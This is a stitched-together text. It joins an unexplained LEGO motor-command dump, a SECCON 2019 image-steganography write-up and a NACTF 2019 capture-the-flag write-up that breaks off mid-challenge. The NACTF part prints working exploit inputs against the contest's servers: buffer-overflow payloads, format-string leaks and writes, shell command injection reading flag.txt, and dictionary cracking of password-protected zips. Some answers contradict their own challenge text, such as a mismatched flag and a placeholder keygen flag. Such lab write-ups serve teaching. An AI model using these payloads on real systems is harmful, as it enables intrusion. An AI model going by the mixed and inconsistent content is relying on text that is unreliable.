MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //_ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 800 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 1100 | speed: 75 //p ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 22 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 60 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 280 | speed: 75 //r ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //i ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 24 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 700 | speed: 75 //n ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //t ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 540 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 240 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 780 | speed: 75 //e ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 27 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 60 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 280 | speed: 75 //r ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: -75 ├─ FORK objectid: 29 │ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.3 | speed: 90 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.3 | speed: -90 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.5 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 └─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 //}```
|
# SECCON CTF Quals - 2019
## Misc / 279 - Sandstorm
> I've received a letter... Uh, Mr. Smith?> 
### Solution
By [@afcidk](https://github.com/afcidk)
From the provided image, we can guess that this challenge is related to Adam7, which is an interlacing scheme for PNG images. Adam7 has seven passes, so I decide to generate those seven subimages first, and see if there is any clues.
I wrote a simple script to transform the original [sandstorm.png](./imgs/sandstorm.png) to seven images using Adam7 algorithm.
Level 1:
Level 2:
Level 3:
Level 4:
Level 5:
Level 6:
Level 7:
The flag is encoded to QR code in Level-1 subimage, `SECCON{p0nlMpzlCQ5AHol6}`.
### Reference
* [Adam7 algorithm](https://en.wikipedia.org/wiki/Adam7_algorithm) |
# Newark Academy CTF 2019 Writeup[CTFTime link](https://ctftime.org/event/869) | [Website](https://www.nactf.com/)
## Challenges
### [Cryptography](#cryptography\-1) - [x] Vyom's Soggy Croutons (50) - [x] Loony Tunes (50) - [x] Reversible Sneaky Algorithm #0 (125) - [x] Reversible Sneaky Algorithm #1 (275) - [x] Reversible Sneaky Algorithm #2 (350) - [x] Dr.J's Group Test Randomizer: Board Problem #0 (100) - [ ] Dr.J's Group Test Randomizer: Board Problem #1 (300) - [ ] Dr.J's Group Test Randomizer: Board Problem #2 (625) - [ ] Syper Duper AES (250)### [Reverse Engineering](#reverse-engineering\-1) - [x] Keygen (600)### [General Skills](#general-skills\-1) - [x] Intro to Flags (10) - [x] Join the Discord (25) - [x] What the HEX? (25) - [x] Off-base (25) - [x] Cat over the wire (50) - [x] Grace's HashBrowns (50) - [x] Get a GREP #0! (100) - [x] Get a GREP #1! (125) - [x] SHCALC (200) - [x] Cellular Evolution #0: Bellsprout (75) - [x] Cellular Evolution #1: Weepinbell (125) - [x] Cellular Evolution #2: VikTreebel (150) - [ ] Cellular Evolution #3: BBOB (600) - [ ] Hwang's Hidden Handiwork (100)### [Binary Exploitation](#binary-exploitation\-1) - [x] BufferOverflow #0 (100) - [x] BufferOverflow #1 (200) - [x] BufferOverflow #2 (200) - [x] Format #0 (200) - [x] Format #1 (250) - [ ] Loopy #0 (350) - [ ] Loopy #1 (500)### [Forensics](#forensics\-1) - [x] Least Significant Avenger (50) - [x] The MetaMeme (75) - [x] Unzip Me (150) - [x] Kellen's Broken File (150) - [x] Kellen's PDF sandwich (150) - [x] Filesystem Image (200) - [x] Phuzzy Photo (250) - [x] File recovery (300) - [ ] My Ears Hurt (75)### [Web Exploitation](#web-exploitation\-1) - [x] Pink Panther (50) - [x] Scooby Doo (100) - [x] Dexter's Lab (125) - [x] Sesame Street (150)
* * *# [Cryptography]* * *
## Vyom's Soggy Croutons (50)
#### Description> Vyom was eating a CAESAR salad with a bunch of wet croutons when he sent me this: ertkw{vk_kl_silkv}. Can you help me decipher his message?
#### Hint> You don't have to decode it by hand -- Google is your friend!
#### SolutionThanks to description, we know that the cipher is CAESAR. The shift key will be `ord('n') - ord('e') = 9`.So, we can decrypt it using some online tools like [Cryptii](https://cryptii.com/) or writing python code:```pythoncipher = 'ertkw{vk_kl_silkv}'key = ord('n') - ord('e')plain = ''.join([chr((ord(c)-ord('a')+key)%26+ord('a')) if (ord(c)>=ord('a') and ord(c)<=ord('z')) else c for c in cipher])print(plain)```#### Flag`nactf{et_tu_brute}`
* * *
## Loony Tunes (50)
#### Description> Ruthie is very inhumane. She keeps her precious pigs locked up in a pen. I heard that this secret message is the password to unlocking the gate to her PIGPEN. Unfortunately, Ruthie does not want people unlocking the gate so she encoded the password. Please help decrypt this code so that we can free the pigs! P.S. "\_" , "{" , and "}" are not part of the cipher and should not be changed. P.P.S the flag is all lowercase
#### File
#### SolutionThe description refers to pig many times, in order to refer to **Pigpen Cipher**
Using the cihper scheme, we can easily decrypt it
#### Flag`nactf{th_th_th_thats_all_folks}`
* * *
## Reversible Sneaky Algorithm #0 (125)
#### Description> Yavan sent me these really large numbers... what can they mean? He sent me the cipher "c", the private key "d", and the public modulus "n". I also know he converted his message to a number with ascii. For example:
> "nactf" --> \x6e61637466 --> 474080310374
> Can you help me decrypt his cipher?
#### Hint> Read about RSA at https://en.wikipedia.org/wiki/RSA_(cryptosystem)
> If you're new to RSA, you may want to try this tool: https://www.dcode.fr/modular-exponentiation. If you like python, try the pow() function!
#### File- [rsa.txt](Files/rsa.txt)
#### SolutionThis is a RSA chal. We have public key (n,c), and we also have private key (d). That's enough for decryption.
- [RSA_0.py](Code/RSA_0.py)
#### Flag`nactf{w3lc0me_t0_numb3r_th30ry}`
* * *
## Reversible Sneaky Algorithm #1 (275)
#### Description> Lori decided to implement RSA without any security measures like random padding. Must be deterministic then, huh? Silly goose!
> She encrypted a message of the form nactf{****} where the redacted flag is a string of 4 lowercase alphabetical characters. Can you decrypt it?
> As in the previous problem, the message is converted to a number by converting ascii to hex.
#### Hint> The flag seems pretty short... can you brute-force it?
> (Note: By brute-force, we do not mean brute-forcing the flag submission - do not SUBMIT dozens of flags. Brute force on your own computer.)
#### File- [ReversibleSneakyAlgorithm.txt](Files/ReversibleSneakyAlgorithm.txt)
#### SolutionNow we just have public key (n,e,c) and n is too big. We can't factorize n.But the cipher space is small: `26^4 = 456976`. So we can brute force it.
- [RSA_1.py](Code/RSA_1.py)
#### Flag`nactf{pkcs}`
* * *
## Reversible Sneaky Algorithm #2 (350)
#### Description> Oligar was thinking about number theory at AwesomeMath when he decided to encrypt a message with RSA. As a mathematician, he made various observations about the numbers. He told Molly one such observation:
> a^r ≡ 1 (mod n)
> He isn't SHOR if he accidentally revealed anything by telling Molly this fact... can you decrypt his message?
> Source code, a and r, public key, and ciphertext are attached.
#### Hint> I'm pretty SHOR Oligar was building a quantum computer for something...
#### File- [shor.py](Files/shor.py)- [oligarchy.pem](Files/oligarchy.pem)- [are_you_shor.txt](Files/are_you_shor.txt)
#### SolutionFrom description and hint, we know that we need to use [SHOR algorithm](https://en.wikipedia.org/wiki/Shor%27s_algorithm) to sovle the chal.Based on the *algorithm*, we know that if ```f(x+r) = f(x) with f(x) = a^x mod (n)```then `r` divides `phi(n)`, where `phi(n)` denotes *Euler's totient function*.If we choose x=0 then:```f(r) = a^r mod (n)f(0) = a^0 mod (n) = 1 mod (n)```Because of `f(r) = f(0)`, so `r` divides `phi(n)`, or `phi(n) = k.r`. We just need to brute force `k`.Once we know `phi(n)` and `n`, we can find out `p` and `q`. And that's enough. We can decrypt the cipher.
- [RSA_2.py](Code/RSA_2.py)
#### Flag`nactf{d0wn_wi7h_7h3_0lig4rchy}`
* * *
## Dr. J's Group Test Randomizer: Board Problem #0 (100)
#### Description> Dr. J created a fast pseudorandom number generator (prng) to randomly assign pairs for the upcoming group test. Leaf really wants to know the pairs ahead of time... can you help him and predict the next output of Dr. J's prng? Leaf is pretty sure that Dr. J is using the middle-square method.
> nc shell.2019.nactf.com 31425
> The server is running the code in class-randomizer-0.c. Look at the function nextRand() to see how numbers are being generated!
#### Hint> The middle-square method is completely determined by the previous random number... you can use a calculator and test that this is true!
#### File- [class-randomizer-0.c](Files/class-randomizer-0.c)
#### ChalIn the chal, Server gives us the current random number. We need to guess the 2 next random numbers.```bash$ nc shell.2019.nactf.com 31425
Welcome to Dr. J's Random Number Generator v1! [r] Print a new random number [g] Guess the next two random numbers and receive the flag! [q] Quit
> r311696200206400> g
Guess the next two random numbers for a flag! You have a 0.0000000000000000000000000000001% chance of guessing both correctly... Good luck!Enter your first guess:> 3523452342345That's incorrect. Get out of here!```
#### SolutionReview the code, I found out that the nextRand() function will create new seed based on the previous one:```cuint64_t nextRand() { // Keep the 8 middle digits from 5 to 12 (inclusive) and square. seed = getDigits(seed, 5, 12); seed *= seed; return seed;}```So, we can calculate the 2 next seeds easily.
- [random_0.py](Code/random_0.py)
#### Flag`nactf{1_l0v3_chunky_7urn1p5}`
* * *# [Reverse Engineering]* * *
## Keygen (100)
#### Description> Can you figure out what the key to this program is?
#### Hint> Don't know where to start? Fire up a debugger, or look for cross-references to data you know something about.
#### File- [keygen-1](Files/keygen-1)
#### SolutionUsing IDA to decompile the binary, we got [this](Code/keygen-1.c). 2 important functions:```cbool __cdecl sub_804928C(char *s){ if ( strlen(s) != 15 ) return 0; if ( s != strstr(s, "nactf{") ) return 0; if ( s[14] == 125 ) return sub_80491B6(s + 6) == 21380291284888LL; return 0;}```
So flag is **nactf{xxxxxxxx}**. We have to find out 8 characters in brackets. I will denotes it: **nactf{X}**.```c__int64 __cdecl sub_80491B6(_BYTE *a1){ _BYTE *i; // [esp+4h] [ebp-Ch] __int64 v3; // [esp+8h] [ebp-8h]
v3 = 0LL; for ( i = a1; i < a1 + 8; ++i ) { v3 *= 62LL; if ( *i > 64 && *i <= 90 ) v3 += (char)*i - 65; if ( *i > 96 && *i <= 122 ) v3 += (char)*i - 71; if ( *i > 47 && *i <= 57 ) v3 += (char)*i + 4; } return v3;}```
After doing some math stuffs, we finally got this:```v3 = 62^7 * x1 + 62^6 * x2 + ... + 62 * x7 + x8with v3 = 21380291284888 x[i] = X[i] - 65 if (X[i] > 64 && X[i] <= 90) x[i] = X[i] - 71 if X[i] > 96 && X[i] <= 122 x[i] = X[i] + 4 if X[i] > 47 && X[i] <= 57```
We can easily calculate **X** from v3.
- [keygen.py](Code/keygen.py)
#### Flag`nactf{xxxxxxxx}`
***# General Skills***
## Intro to Flags (10)
#### Description> Your flag is nactf{w3lc0m3_t0_th3_m4tr1x}
#### Flag`nactf{1nsp3ct_b3tter_7han_c10us3au}`
***
## Join the Discord (25)
#### Description> Go to the NACTF home page and find the link to the Discord server. A flag will be waiting for you once you join. So will Austin.
#### Flag`nactf{g00d_luck_h4v3_fun}`
***
## What the HEX? (25)
#### Description> What the HEX man! My friend Elon just posted this message and I have no idea what it means >:( Please help me decode it:https://twitter.com/kevinmitnick/status/1028080089592815618?lang=en. Leave the text format: no need to add nactf{} or change punctuation/capitalization
#### Hint> online converters are pretty useful
#### SolutionCipher is```49 20 77 61 73 2e 20 53 6f 72 72 79 20 74 6f 20 68 61 76 65 20 6d 69 73 73 65 64 20 79 6f 75 2e```Decode:```pythonc = '49 20 77 61 73 2e 20 53 6f 72 72 79 20 74 6f 20 68 61 76 65 20 6d 69 73 73 65 64 20 79 6f 75 2e'p = c.replace(' ','').decode('hex')print(p)```
#### Flag`I was. Sorry to have missed you.`
***
## Off-base (25)
#### Description> It seems my friend Rohan won't stop sending cryptic messages and he keeps mumbling something about base 64. Quick! We need to figure out what he is trying to say before he loses his mind...
> bmFjdGZ7YV9jaDRuZzNfMGZfYmE1ZX0=
#### SolutionIt is base64 encode.```pythonprint('bmFjdGZ7YV9jaDRuZzNfMGZfYmE1ZX0='.decode('base64'))```
#### Flag`nactf{a_ch4ng3_0f_ba5e}`
***
## Cat over the wire (50)
#### Description> Open up a terminal and connect to the server at shell.2019.nactf.com on port 31242 and get the flag!Use this netcat command in terminal:
> nc shell.2019.nactf.com 31242
#### Flag`nactf{th3_c4ts_0ut_0f_th3_b4g}`
***
## Grace's HashBrowns (50)
#### Description> Grace was trying to make some food for her family but she really messed it up. She was trying to make some hashbrowns but instead, she made this:**f5525fc4fc5fdd42a7cf4f65dc27571c**.I guess Grace is a really bad cook. But at least she tried to add some md5 sauce.remember to put the flag in nactf{....}
#### SolutionUsing online [tools](https://hashkiller.co.uk/Cracker) to decrypt MD5
#### Flag`nactf{grak}`
***
## Get a GREP #0 (100)
#### Description> Vikram was climbing a chunky tree when he decided to hide a flag on one of the leaves. There are 10,000 leaves so there's no way you can find the right one in time... Can you open up a terminal window and get a grep on the flag?
#### Hint> You'll need to add an option to the grep command: look up recursive search!
#### File- [bigtree.zip](Files/bigtree.zip)
#### Solution```bash$ grep -r nactf ../branch8/branch3/branch5/leaf8351.txt:nactf{v1kram_and_h1s_10000_l3av3s}```
#### Flag`nactf{v1kram_and_h1s_10000_l3av3s}`
***
## Get a GREP #1 (125)
#### Description> Juliet hid a flag among 100,000 dummy ones so I don't know which one is real! But maybe the format of her flag is predictable? I know sometimes people add random characters to the end of flags... I think she put 7 random vowels at the end of hers. Can you get a GREP on this flag?
#### Hint> Look up regular expressions (regex) and the regex option in grep!
#### File- [flag.txt](Files/flag.txt)
#### Solution```bashgrep -e [aeiou][aeiou][aeiou][aeiou][aeiou][aeiou][aeiou]} flag.txt```
#### Flag`nactf{r3gul4r_3xpr3ss10ns_ar3_m0r3_th4n_r3gul4r_euaiooa}`
***
## SHCALC
#### Description> John's written a handy calculator app - in bash! Too bad it's not that secure...
> Connect at nc shell.2019.nactf.com 31214
#### Hint> Heard of injection?
#### SolutionThis is code injection. So we will inject code like this:```bash$ nc shell.2019.nactf.com 31214shcalc v1.1> `ls` sh: 1: arithmetic expression: expecting EOF: "calc.shflag.txt"> `cat flag.txt`sh: 1: arithmetic expression: expecting EOF: "nactf{3v4l_1s_3v1l_dCf80yOo}"> ```
#### Flag`nactf{3v4l_1s_3v1l_dCf80yOo}`
***
## Cellular Evolution #0: Bellsprout (75)
#### Description> Vikram Loves Bio!He loves it so much that he started growing Cellular Automata in a little jar of his. He hopes his Cellular Automata can be as strong as HeLa Cells. He has so many cells growing that he decided to hire you to help him with his project. Can you open these files and follow Vikram's instructions?Use the flag format nactf{...}
#### Hint> Its probably good practice to put all of these files inside of a folder
> Cells colored white represent 0's and cells colored black represent 1's.
#### File- [Cell.jar](Files/cellular0/Cell.jar)- [inpattern.txt](Files/cellular0/inpattern.txt)- [Vikrams_Instructions.txt](Files/cellular0/ikrams_Instructions.txt)
#### SolutionIn linux, run `Cell.jar` using command `java -jar Cell.jar`.Click **InPat**, type `E` in Program box, click **Parse**, then click **Step** 17 times. Click **OutPat**, open `outpattern.txt`, we got:``` 1 1 . 1 . . . . 1 1 . 1 1 . . . 1 1 . . . . 1 . 1 1 . . . 1 1 . 1 1 . 1 . 1 1 . 1 1 1 . . 1 1 ```Change the sequece to bit strings, and convert to ascii```pythonc = ' 1 1 . 1 . . . . 1 1 . 1 1 . . . 1 1 . . . . 1 . 1 1 . . . 1 1 . 1 1 . 1 . 1 1 . 1 1 1 . . 1 1'd = c.replace('.','0').replace(' ','')print(hex(int(d,2))[2:].decode('hex'))```
#### Flag`nactf{hlacks}`
***
## Cellular Evolution #1: Weepinbell (125)
#### Description> Apparently, Vikram was not satisfied with your work because he hired a new assistant: Eric. Eric has been doing a great job with managing the cells but he has allergies. Eric sneezed and accidentally messed up the order of the cells. Can you help Eric piece the cells back together?btw, flag is all lowercase
#### Hint> This program is similar to Conway's "Game of Life"
#### File- [Cell.jar](Files/cellular1/Cell.jar)- [inpattern.txt](Files/cellular1/inpattern.txt)- [How_to_use_cell.jar.txt](Files/cellular1/How_to_use_cell.jar.txt)- [Erics_Instructions.txt](Files/cellular1/Erics_Instructions.txt)
#### SolutionProgram to Parse```NW == 4 : 3NE == 3 : 4SW == 1 : 2SE == 2 : 1 ```After 20 generations, we got this
#### Flag`nactf{ie_eid_ftw}`
***
## Cellular Evolution #2: VikTreebel (150)
#### Description> Thanks to your help, Eric and Vikram fixed their cells. Business is booming, and they're now a multinational megacorporation! They need bigger cells to meet demand: Eric used the rule "sum8" to evolve his cells to their next stage of evolution! Sum8 sets each cell to the sum of the cells around it (see examples). Eric sent us his evolved cells, but we want to know what they looked like before! Can you turn back time and get the flag?
#### Hint> Make sure your settings are the same as in the example images, except change "cell size" to medium.
> Submit your answer with the flag format nactf{}. Use all lowercase alphabetical characters.
> You can do this one by hand. It's like minesweeper!
#### File- [Cell.jar](Files/cellular2/Cell.jar)- [inpattern.txt](Files/cellular2/inpattern.txt)- [example1.png](Files/cellular2/example1.png)- [example2.png](Files/cellular2/example2.png)
#### SolutionJust play like minesweeper! We will come to this:
#### Flag`nactf{conwayblco}`
***# [Binary Exploitation]***
## BufferOverflow #0 (100)
#### Description> The close cousin of a website for "Question marked as duplicate".Can you cause a segfault and get the flag?
> shell.2019.nactf.com:31475
#### Hint> What does it mean to overflow the buffer?
#### File- [bufover-0](Files/bufover-0)- [bufover-0.c](Files/bufover-0.c)
#### SolutionWe have BOF here:```cgets(buf);```Our target is to call function **win()**. We have a call to **signal()**, it will call **win()** whenever SIGSEGV error occurs.```csignal(SIGSEGV, win);```So, we just need to send a long input to cause SIGSEGV```bash$ python -c "print 'A'*100" | nc shell.2019.nactf.com 31475Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!You win!flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}```
#### Flag`nactf{0v3rfl0w_th4at_buff3r_18ghKusB}`
***
## BufferOverflow #1 (200)
#### Description> The close cousin of a website for "Question marked as duplicate" - part 2!Can you redirect code execution and get the flag?
> Connect at shell.2019.nactf.com:31462
#### Hint> pwntools can help you with crafting payloads
#### File- [bufover-1](Files/bufover-1)- [bufover-1.c](Files/bufover-1.c)
#### SolutionNow we have to overwrite the **return address** of func **vuln()** into the address of func **win()**. So after func **vuln()** finish, it will return to func **win()** and we got flag.
I use **radare2** to find the address of func **win()**. That is **0x080491b2**.
Variable `buf` in **vuln()** is at `ebp-0x18`. So, return address will be at offset `0x18 + 4` (4 bytes for Saved BP) from `buf`.
Finally, we got payload like this:
```bash$ python -c "print 'A'*0x18 + 'B'*4 + '\xb2\x91\x04\x08'" | nc shell.2019.nactf.com 31462Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAABBBB�!You win!flag: nactf{pwn_31p_0n_r3t_iNylg281}```
#### Flag`nactf{pwn_31p_0n_r3t_iNylg281}`
***
## BufferOverflow #2 (200)
#### Description> The close cousin of a website for "Question marked as duplicate" - part 3!Can you control the arguments to win() and get the flag?
> Connect at shell.2019.nactf.com:31184
#### Hint> How are arguments passed to a function?
#### File- [bufover-2](Files/bufover-2)- [bufover-2.c](Files/bufover-2.c)
#### SolutionAgain, we also need to overwrite the **return address** of func **vuln()** into the address of func **win()**.
But the tricky is we have to pass 2 arguments to func **win()**. We do it like so:```bash$ python -c "print 'A'*0x18 + 'B'*4 + '\xc2\x91\x04\x08' + 'C'*4 + '\x55\xda\xb4\x14' + '\xbe\xb4\x0d\xf0'" | nc shell.2019.nactf.com 31184�!pe something>You typed AAAAAAAAAAAAAAAAAAAAAAAABBBCCCCUڴ��Close, but not quite.
```You will see that it's not work. Because of this:```cvoid win(long long arg1, int arg2)```arg1 is of *long long* type. So we have to change the payload a litte.```bash$ python -c "print 'A'*0x18 + 'B'*4 + '\xc2\x91\x04\x08' + 'C'*4 + '\x55\xda\xb4\x14' + '\x00'*4 + '\xbe\xb4\x0d\xf0'" | nc shell.2019.nactf.com 31184Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAABBBCCCCUڴ!You win!flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}
```
#### Flag`nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}`
***
## Format #0 (200)
#### Description> Someone didn't tell Chaddha not to give user input as the first argument to printf() - use it to leak the flag!
> Connect at shell.2019.nactf.com:31782
#### Hint> Note the f in printf
#### File- [format-0](Files/format-0)- [format-0.c](Files/format-0.c)
#### SolutionWe have **Format string** here:```cprintf(buf);```And flag is in argument of func **vuln()**. So we use format string to leak the flag.
We just need to know the offset of **flag** from **buf**. We can brute force it:```bash$ echo "%23\$s" | nc shell.2019.nactf.com 31782Type something>You typed: ���
$ echo "%24\$s" | nc shell.2019.nactf.com 31782Type something>You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}```
#### Flag`nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}`
***
## Format #1 (250)
#### Description> printf can do more than just read memory... can you change the variable?
> Connect at nc shell.2019.nactf.com 31560
#### Hint> Check a list of printf conversion specifiers
#### File- [format-1](Files/format-1)- [format-1.c](Files/format-1.c)
#### SolutionThis time, we need to overwrite **num** into **42**. We do it by using "%n".
We just need to know the offset of **num** from **buf**. Alse, we can brute force it:```bash$ python -c "print 'A'*42 + '%23\$n'" | nc shell.2019.nactf.com 31560Type something>You typed:
$ python -c "print 'A'*42 + '%24\$n'" | nc s4ell.2019.nactf.com 31560Type something>You typed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYou win!nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}```
#### Flag`nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}`
***# Forensics***
## Least Significant Avenger (50)
#### Description> I hate to say it but I think that Hawkeye is probably the Least Significant avenger. Can you find the flag hidden in this picture?
#### Hint> Hiding messages in pictures is called stenography. I wonder what the least significant type of stenography is.
#### File- [insignificant_hawkeye.png](Images/insignificant_hawkeye.png)
#### SolutionUsing [tool](https://stylesuxx.github.io/steganography/) to decode.
#### Flag`nactf{h4wk3y3_15_th3_l34st_51gn1f1c4nt_b1t}`
***
## The MetaMeme (75)
#### Description> Phil sent me this meme and its a little but suspicious. The meme is super meta and it may be even more meta than you think.Wouldn't it be really cool if it also had a flag hidden somewhere in it? Well you are in luck because it certainly does!
#### Hint> Hmm how can find some Meta info about a file type?Google is your friend :)
#### File- [metametametameta.pdf](Files/metametametameta.pdf)
#### Solution```bashstrings metametametameta.pdf | grep nactf```
#### Flag`nactf{d4mn_th15_1s_s0_m3t4}`
***
## Unzip Me (150)
#### Description> I stole these files off of The20thDucks' computer, but it seems he was smart enough to put a password on them. Can you unzip them for me?
#### Hint> There are many tools that can crack zip files for you
> All the passwords are real words and all lowercase
#### File- [zip1.zip](Files/unzipme/zip1.zip)- [zip2.zip](Files/unzipme/zip2.zip)- [zip3.zip](Files/unzipme/zip3.zip)
#### Solution```bashfcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' zip1.zipfcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' zip2.zipfcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' zip3.zip```
#### Flag`nactf{dicnionaryrockdog}`
***
## Kellen's Broken File (150)
#### Description> Kellen gave in to the temptation and started playing World of Tanks again. He turned the graphics up so high that something broke on his computer!Kellen is going to lose his HEAD if he can't open this file. Please help him fix this broken file.
#### Hint> A hex editor might be useful
#### File- [Kellens_broken_file.pdf](Files/Kellens_broken_file.pdf)
#### Solutionjust open the file.
#### Flag`nactf{kn0w_y0ur_f1l3_h34d3rsjeklwf}`
***
## Kellen's PDF sandwich (150)
#### Description> Kellen was playing some more World of Tanks....He played so much WOT that he worked up an appetite.Kellen ripped a PDF in half. He then treated these two halves as bread and placed a different PDF on the inside (yummy PDF meat!). That sounds like one good PDF sandwich. PDF on the outside and inside! YUM!
